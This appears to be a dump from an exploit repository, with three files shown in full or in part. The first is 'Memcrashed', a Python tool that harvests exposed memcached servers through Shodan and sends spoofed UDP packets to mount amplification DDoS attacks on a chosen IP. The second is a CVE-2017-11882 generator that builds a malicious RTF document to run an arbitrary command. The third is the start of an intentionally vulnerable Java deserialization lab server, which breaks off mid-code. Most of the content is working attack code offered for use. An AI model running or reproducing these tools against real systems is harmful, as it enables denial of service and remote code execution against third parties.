| import sys, os, time, shodan 4 | from pathlib import Path 5 | from scapy.all import * 6 | from contextlib import contextmanager, redirect_stdout 7 | 8 | starttime = time.time() 9 | 10 | @contextmanager 11 | def suppress_stdout(): 12 | with open(os.devnull, "w") as devnull: 13 | with redirect_stdout(devnull): 14 | yield 15 | 16 | class color: 17 | HEADER = '\033[0m' 18 | 19 | keys = Path("./api.txt") 20 | logo = color.HEADER + ''' 21 | 22 | ███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ 23 | ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ 24 | ██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ 25 | ██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ 26 | ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ 27 | ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ 28 | 29 | Author: @037 30 | Version: 3.2 31 | 32 | ####################################### DISCLAIMER ######################################## 33 | | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | 34 | | memcached servers. It then allows you to use the same servers to launch widespread | 35 | | distributed denial of service attacks by forging UDP packets sourced to your victim. | 36 | | Default payload includes the memcached "stats" command, 10 bytes to send, but the reply | 37 | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | 38 | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | 39 | ########################################################################################### 40 | 41 | ''' 42 | print(logo) 43 | 44 | if keys.is_file(): 45 | with open('api.txt', 'r') as file: 46 | SHODAN_API_KEY=file.readline().rstrip('\n') 47 | else: 48 | file = open('api.txt', 'w') 49 | SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ') 50 | file.write(SHODAN_API_KEY) 51 | print('[~] File written: ./api.txt') 52 | file.close() 53 | 54 | while True: 55 | api = shodan.Shodan(SHODAN_API_KEY) 56 | print('') 57 | try: 58 | myresults = Path("./bots.txt") 59 | query = input("[*] Use Shodan API to search for affected Memcached servers? : ").lower() 60 | if query.startswith('y'): 61 | print('') 62 | print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) 63 | results = api.search('product:"Memcached" port:11211') 64 | print('[✓] API Key Authentication: SUCCESS') 65 | print('[~] Number of bots: %s' % results['total']) 66 | print('') 67 | saveresult = input("[*] Save results for later usage? : ").lower() 68 | if saveresult.startswith('y'): 69 | file2 = open('bots.txt', 'a') 70 | for result in results['matches']: 71 | file2.write(result['ip_str'] + "\n") 72 | print('[~] File written: ./bots.txt') 73 | print('') 74 | file2.close() 75 | saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower() 76 | if myresults.is_file(): 77 | if saveme.startswith('y'): 78 | with open('bots.txt') as my_file: 79 | ip_array = [line.rstrip() for line in my_file] 80 | else: 81 | print('') 82 | print('[✘] Error: No bots stored locally, bots.txt file not found!') 83 | print('') 84 | if saveme.startswith('y') or query.startswith('y'): 85 | print('') 86 | target = input("[▸] Enter target IP address: ") 87 | power = int(input("[▸] Enter preferred power (Default 1): ") or "1") 88 | data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" 89 | print('') 90 | if query.startswith('y'): 91 | iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower() 92 | if iplist.startswith('y'): 93 | print('') 94 | counter= int(0) 95 | for result in results['matches']: 96 | host = api.host('%s' % result['ip_str']) 97 | counter=counter+1 98 | print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) 99 | time.sleep(1.1 - ((time.time() - starttime) % 1.1)) 100 | if saveme.startswith('y'): 101 | iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower() 102 | if iplistlocal.startswith('y'): 103 | print('') 104 | counter= int(0) 105 | for x in ip_array: 106 | host = api.host('%s' % x) 107 | counter=counter+1 108 | print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) 109 | time.sleep(1.1 - ((time.time() - starttime) % 1.1)) 110 | print('') 111 | engage = input('[*] Ready to engage target %s? : ' % target).lower() 112 | if engage.startswith('y'): 113 | if saveme.startswith('y'): 114 | for i in ip_array: 115 | if power>1: 116 | print('[+] Sending %d forged UDP packets to: %s' % (power, i)) 117 | with suppress_stdout(): 118 | send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) 119 | elif power==1: 120 | print('[+] Sending 1 forged UDP packet to: %s' % i) 121 | with suppress_stdout(): 122 | send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) 123 | else: 124 | for result in results['matches']: 125 | if power>1: 126 | print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str'])) 127 | with suppress_stdout(): 128 | send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) 129 | elif power==1: 130 | print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) 131 | with suppress_stdout(): 132 | send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) 133 | print('') 134 | print('[•] Task complete! Exiting Platform. Have a wonderful day.') 135 | break 136 | else: 137 | print('') 138 | print('[✘] Error: %s not engaged!' % target) 139 | print('[~] Restarting Platform! Please wait.') 140 | print('') 141 | else: 142 | print('') 143 | print('[✘] Error: No bots stored locally or remotely on Shodan!') 144 | print('[~] Restarting Platform! Please wait.') 145 | print('') 146 | 147 | except shodan.APIError as e: 148 | print('[✘] Error: %s' % e) 149 | option = input('[*] Would you like to change API Key? : ').lower() 150 | if option.startswith('y'): 151 | file = open('api.txt', 'w') 152 | SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ') 153 | file.write(SHODAN_API_KEY) 154 | print('[~] File written: ./api.txt') 155 | file.close() 156 | print('[~] Restarting Platform! Please wait.') 157 | print('') 158 | else: 159 | print('') 160 | print('[•] Exiting Platform. Have a wonderful day.') 161 | break 162 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2017-11882/Command_CVE-2017-11882.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | 4 | 5 | RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} 6 | {\*\generator Riched20 6.3.9600}\viewkind4\uc1 7 | \pard\sa200\sl276\slmult1\f0\fs22\lang9""" 8 | 9 | 10 | RTF_TRAILER = R"""\par} 11 | """ 12 | 13 | 14 | OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """ 15 | 16 | 17 | OBJECT_TRAILER = R""" 18 | }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} 19 | {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} 20 | {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} 21 | {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 22 | \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 23 | 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}} 24 | """ 25 | 26 | 27 | OBJDATA_TEMPLATE = R""" 28 | 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1 29 | b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001 30 | 0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff 31 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 32 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 33 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 34 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 35 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 36 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 37 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 38 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 39 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 40 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 41 | fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe 42 | fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 43 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 44 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 45 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 46 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 47 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 48 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 49 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 50 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 51 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 52 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 53 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 54 | ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000 55 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 56 | 00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000 57 | 000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000 58 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 59 | 00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000 60 | 0000000000000000000000000000000000000000000000000000001400000000000000010043006f 61 | 006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000 62 | 00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000 63 | 00000000000000000000000000000000000000000000000000000000000000010000006600000000 64 | 00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000 65 | 00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff 66 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000003 67 | 0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe 68 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 69 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 70 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 71 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 72 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 73 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 74 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 75 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 76 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 77 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 78 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 79 | ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 80 | ffffff01000002080000000000000000000000000000000000000000000000000000000000000000 81 | 0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02 82 | ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e 83 | 30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000 84 | 00000000000000000000000000000000000000000000000000000000000000000000000000030004 85 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 86 | 000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4 87 | ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141 88 | 414141414141414141414141414141414141414141120c4300000000000000000000000000000000 89 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 90 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 91 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 92 | 00000000000000000000000000000000000000000000000000000000000000000000004500710075 93 | 006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000 94 | 0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000 95 | 0000000000000000000000000000000000000000000000000000000000000004000000c500000000 96 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 97 | 00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff 98 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000000 99 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 100 | 000000000000000000000000000000000000000000000000000000000000000000000000000000ff 101 | ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000 102 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 103 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000 104 | 00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 105 | 00000000000000000000000000000000000000000000000000000001050000050000000d0000004d 106 | 45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500 107 | 000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00 108 | 050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00 109 | ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468 110 | 54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65 111 | 7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001 112 | 90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131 113 | 0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131 114 | 31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000 115 | 0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff 116 | 7cef1800040000002d01010004000000f0010000030000000000 117 | """ 118 | 119 | 120 | COMMAND_OFFSET = 0x949*2 121 | 122 | 123 | def create_ole_exec_primitive(command): 124 | if len(command) > 43: 125 | print "[!] Primitive command must be shorter than 43 bytes" 126 | sys.exit(0) 127 | hex_command = command.encode("hex") 128 | objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n") 129 | ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):] 130 | return OBJECT_HEADER + ole_data + OBJECT_TRAILER 131 | 132 | 133 | 134 | def create_rtf(header,command,trailer): 135 | ole1 = create_ole_exec_primitive(command + " &") 136 | 137 | # We need 2 or more commands for executing remote file from WebDAV 138 | # because WebClient service start may take some time 139 | return header + ole1 + trailer 140 | 141 | 142 | 143 | if __name__ == '__main__': 144 | parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882") 145 | parser.add_argument("-c", "--command", help="Command to execute.", required=True) 146 | parser.add_argument('-o', "--output", help="Output exploit rtf", required=True) 147 | 148 | args = parser.parse_args() 149 | 150 | rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER) 151 | 152 | output_file = open(args.output, "w") 153 | output_file.write(rtf_content) 154 | 155 | print "[*] Done ! output file --> " + args.output 156 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java: -------------------------------------------------------------------------------- 1 | import com.sun.net.httpserver.HttpExchange; 2 | import com.sun.net.httpserver.HttpHandler; 3 | import com.sun.net.httpserver.HttpServer; 4 | 5 | import sun.misc.BASE64Decoder; 6 | 7 | import javax.crypto.Cipher; 8 | import javax.crypto.spec.IvParameterSpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.io.*; 11 | import java.lang.annotation.IncompleteAnnotationException; 12 | import java.lang.reflect.Constructor; 13 | import java.lang.reflect.Method; 14 | import java.net.InetSocketAddress; 15 | import java.net.URLDecoder; 16 | //this import is only for java 1.8 17 | //import java.util.Base64; 18 | import java.security.Key; 19 | import java.util.zip.GZIPInputStream; 20 | 21 | /** 22 | * Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos: 23 | * 24 | * 1) via HTTP POST em formato binário (ou seja, \xAC\xED) 25 | * 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...) 26 | * 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...) 27 | * 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded 28 | * 5) via XML para explorar o XStream 29 | * 30 | * Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que 31 | * ocorre em um servidor "real" (erro de casting após a desserialização) 32 | * 33 | * 34 | * OBS: Sobre Apache Shiro, ver: 35 | * https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java 36 | * https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini 37 | * Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc 38 | * Se preferir, existem mtos sccripts prontos para geracao do payload, veja: 39 | * ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py 40 | * Análise: http://www.freebuf.com/articles/system/125187.html 41 | * 42 | * ----------------------------------------------------------------------- 43 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 44 | * https://www.h2hc.com.br/revista/ 45 | * ----------------------------------------------------------------------- 46 | * 47 | * **** USAGE **** 48 | * 49 | * Compilando: 50 | * $ javac VulnerableHTTPServer.java -XDignore.symbol.file 51 | * 52 | * Executando 53 | * $ java VulnerableHTTPServer 54 | * 55 | * Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs: 56 | * $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer 57 | * $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer 58 | * 59 | * @author @joaomatosf 60 | */ 61 | 62 | public class VulnerableHTTPServer { 63 | 64 | public static void banner(){ 65 | System.out.println("* =============================================================== *"); 66 | System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *"); 67 | System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *"); 68 | System.out.println("* =============================================================== *"); 69 | System.out.println("You can inject java serialized objects in the following formats:"); 70 | System.out.println( 71 | "\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" + 72 | " $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+ 73 | "\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" + 74 | " $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+ 75 | " $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+ 76 | "\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+ 77 | " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+ 78 | " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+ 79 | "\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" + 80 | " $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+ 81 | "\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" + 82 | " $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\""); 83 | 84 | 85 | 86 | System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" + 87 | "$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer"); 88 | System.out.println("=================================================================="); 89 | 90 | } 91 | 92 | public static void main(String[] args) throws IOException { 93 | banner(); 94 | int port = 8000; 95 | HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); 96 | server.createContext("/", new HTTPHandler()); 97 | server.setExecutor(null); // creates a default executor 98 | server.start(); 99 | System.out.println("\nJRE Version: "+System.getProperty("java.version")); 100 | System.out.println("[INFO]: Listening on port "+port); 101 | System.out.println(); 102 | } 103 | 104 | 105 | static class HTTPHandler implements HttpHandler { 106 | 107 | String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA=="; 108 | 109 | public void handle(HttpExchange t) throws IOException { 110 | 111 | System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress()); 112 | 113 | String responseMsg = null; 114 | boolean containsCookie = t.getRequestHeaders().containsKey("cookie"); 115 | 116 | // if there's a cookie with serialized java object 117 | if (containsCookie){ 118 | String object = t.getRequestHeaders().get("cookie").get(0); 119 | object = getObjectValue(object); 120 | 121 | if (object.startsWith("H4sI") || object.startsWith("rO0") ) 122 | responseMsg = deserialize(object); 123 | else { // try deserialize aes-cbc encrypted object 124 | 125 | byte[] plainText = decryptAES(object,aesHardedCodeKey); 126 | if (plainText == null) 127 | responseMsg = "\nAn error ocurred when decrypting the stream.\n"; 128 | else 129 | responseMsg = deserialize(new ByteArrayInputStream(plainText)); 130 | } 131 | 132 | } 133 | else if (t.getRequestMethod().equals("POST")){ 134 | 135 | InputStream input = t.getRequestBody(); 136 | // take 2 bytes from header to check if it is a raw object 137 | PushbackInputStream pbis = new PushbackInputStream( input, 2 ); 138 | byte [] header = new byte[2]; 139 | int len = pbis.read(header); 140 | pbis.unread( header, 0, len ); 141 | StringBuffer headerResult = new StringBuffer(); 142 | for (byte b: header) 143 | headerResult.append(String.format("%02x", b)); 144 | 145 | // deserialize raw 146 | if (headerResult.toString().equals("aced")) 147 | responseMsg = deserialize(pbis); // deserialize RAW 148 | else{ // deserialize H4sI, rO0,... 149 | // read input into string 150 | InputStreamReader isr = new InputStreamReader(pbis, "utf-8"); 151 | BufferedReader br = new BufferedReader(isr); 152 | String body = br.readLine(); 153 | String paramName = ""; 154 | String object = getObjectValue(body); 155 | 156 | if (object.startsWith("H4sI") || object.startsWith("rO0") ) 157 | responseMsg = deserialize(object); // deserialize H4sI, rO0... 158 | else if (object.startsWith("<") ) 159 | responseMsg = deserializeXStream(object); // xtream 160 | } 161 | 162 | 163 | }// end if POST 164 | else{ 165 | 166 | responseMsg = "" + 167 | "\nDeserLab v0.01 " + 168 | "\n
DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." + 169 | "\n
See examples at: https://github.com/joaomatosf/JavaDeserH2HC" + 170 | "\n
" + 171 | "\n "; 172 | 173 | } 174 | t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01"); 175 | t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC"); 176 | t.getResponseHeaders().add("Content-Type", "x-java-serialized-object"); 177 | 178 | if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv")) 179 | t.sendResponseHeaders(404, responseMsg.length()); 180 | else 181 | t.sendResponseHeaders(200, responseMsg.length()); 182 | 183 | OutputStream os = t.getResponseBody(); 184 | os.write(responseMsg.getBytes()); 185 | os.close(); 186 | 187 | } 188 | 189 | public boolean hasParam(String object){ 190 | if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4) 191 | return true; 192 | else 193 | return false; 194 | } 195 | public String getParamName(String object){ 196 | if (hasParam(object)) 197 | return object.substring(0, object.indexOf("=")+1).split("=")[0] + "="; 198 | else 199 | return ""; 200 | } 201 | public String getObjectValue(String object){ 202 | if (hasParam(object)) { 203 | String paramName = getParamName(object); 204 | return object.split(paramName)[1]; 205 | } 206 | else 207 | return object; 208 | 209 | } 210 | 211 | 212 | public String deserialize(String object){ 213 | 214 | ObjectInputStream ois = null; 215 | InputStream is = null; 216 | GZIPInputStream gis = null; 217 | 218 | // if payload is urlencoded 219 | if (object.contains("%2B")) { 220 | try { 221 | object = URLDecoder.decode(object, "UTF-8"); 222 | } catch (UnsupportedEncodingException e) { 223 | return "\nInvalid encoding. You should use URL Encode!\n"; 224 | } 225 | } 226 | 227 | try { 228 | byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object); 229 | // This another implementation of Base64 is only for java >= 1.8 230 | //byte[] b64DecodedObj = Base64.getDecoder().decode(object); 231 | is = new ByteArrayInputStream(b64DecodedObj); 232 | }catch (Exception e){ 233 | return "\nInvalid Base64!\n"; 234 | } 235 | 236 | if (object.startsWith("H4sI")) { 237 | try { 238 | gis = new GZIPInputStream(is); 239 | ois = new ObjectInputStream(gis); 240 | } catch (IOException e) { 241 | return "\nThe Stream not contains a Java Object!\n"; 242 | } 243 | catch (Exception e) { 244 | return "\nInvalid Gzip stream!\n"; 245 | } 246 | } 247 | else { 248 | try { 249 | ois = new ObjectInputStream(is); 250 | } 251 | catch (IOException e ){ 252 | return "\nThe Stream not contains a Java Object!\n"; 253 | } 254 | catch (Exception e){ 255 | return e.toString()+"\n"; 256 | } 257 | } 258 | 259 | // Deserialization 260 | try{ 261 | int number = (Integer) ois.readObject(); 262 | } 263 | catch (ClassNotFoundException e) { 264 | return "\nSerialized class not found in classpath\n"; 265 | } 266 | catch (IOException e) { 267 | return e.toString()+"\n"; 268 | } 269 | catch (ClassCastException e){ 270 | e.printStackTrace(); 271 | } catch (IncompleteAnnotationException e){ 272 | e.printStackTrace(); 273 | System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" + 274 | " which use TiedMapEntry + HashSet (by @matthiaskaiser).\n"); 275 | return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n"; 276 | } 277 | catch (Exception e){ 278 | e.printStackTrace(); 279 | } 280 | 281 | 282 | return "\nData deserialized!\n"; 283 | } 284 | 285 | public String deserialize(InputStream is){ 286 | 287 | ObjectInputStream ois = null; 288 | 289 | try{ 290 | ois = new ObjectInputStream(is); 291 | }catch (EOFException e){ 292 | e.printStackTrace(); 293 | return "\nThe request body not contains a Stream!\n"; 294 | } catch (Exception e) { 295 | return e.toString()+"\n"; 296 | } 297 | 298 | try { 299 | // This cast simulate what occurs in a real server 300 | int number = (Integer) ois.readObject(); 301 | } catch (IOException e) { 302 | e.printStackTrace(); 303 | } catch (ClassNotFoundException e) { 304 | return "\nSerialized class not found in classpath\n"; 305 | } catch (ClassCastException e){ 306 | e.printStackTrace(); 307 | } catch (IncompleteAnnotationException e){ 308 | e.printStackTrace(); 309 | System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" + 310 | " which use TiedMapEntry + HashSet (by @matthiaskaiser).\n"); 311 | return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n"; 312 | } 313 | catch (Exception e){ 314 | e.printStackTrace(); 315 | } 316 | 317 | return "\nData deserialized!\n"; 318 | } 319 | 320 | public String deserializeXStream(String xml){ 321 | 322 | Class classXStream = null; 323 | Class classDomDriver = null; 324 | Class classHierarchicalStreamDriver = null; 325 | //Class classJsonHierarchicalStreamDriver = null; 326 | 327 | try { 328 | 329 | classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver"); 330 | //classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver"); 331 | classXStream = Class.forName("com.thoughtworks.xstream.XStream"); 332 | classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver"); 333 | 334 | //Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor(); 335 | Constructor ctrDomDriver = 